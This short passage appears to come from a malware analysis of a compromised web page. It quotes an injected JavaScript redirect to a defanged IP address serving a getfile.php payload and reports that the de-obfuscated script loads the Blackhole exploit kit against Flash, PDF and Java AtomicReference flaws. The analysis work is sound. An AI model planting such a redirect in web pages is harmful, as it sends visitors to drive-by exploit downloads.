Both embedded Javascript URLs will redirect you document.location=’hxxp://173.255.228.171/getfile.php?u=853fda24′; The above page contains an obfuscated javascript.

After de-obfuscating the javascript, i found there is Blackhole exploit pack that try to exploit one of the vulnerable software(flash, pdf and other exploits). At the bottom of the page, you can find the applet code that try to exploit the Java Atomic reference vulerability.